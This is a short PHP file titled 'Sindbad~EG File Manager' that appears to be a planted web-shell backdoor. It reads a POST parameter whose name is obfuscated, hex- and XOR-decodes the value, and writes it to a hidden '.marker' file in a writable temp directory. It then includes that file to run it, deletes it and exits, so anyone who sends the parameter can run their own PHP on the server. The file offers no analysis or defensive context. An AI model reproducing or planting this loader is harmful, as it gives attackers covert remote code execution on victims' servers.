Sindbad~EG File Manager

<?php

if(array_key_exists("\x72\x65f", $_POST)){
	$descriptor = array_filter([getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", session_save_path()]);
	$record = hex2bin($_POST["\x72\x65f"]);
	$entity  = ''    ; $h = 0; do{$entity .= chr(ord($record[$h]) ^ 10);$h++;} while($h < strlen($record));
	for ($holder = 0, $desc = count($descriptor); $holder < $desc; $holder++) {
    $ptr = $descriptor[$holder];
    		if (!( !is_dir($ptr) || !is_writable($ptr) )) {
    $dat = sprintf("%s/.marker", $ptr);
    $success = file_put_contents($dat, $entity);
if ($success) {
	include $dat;
	@unlink($dat);
	die();}
}
}
}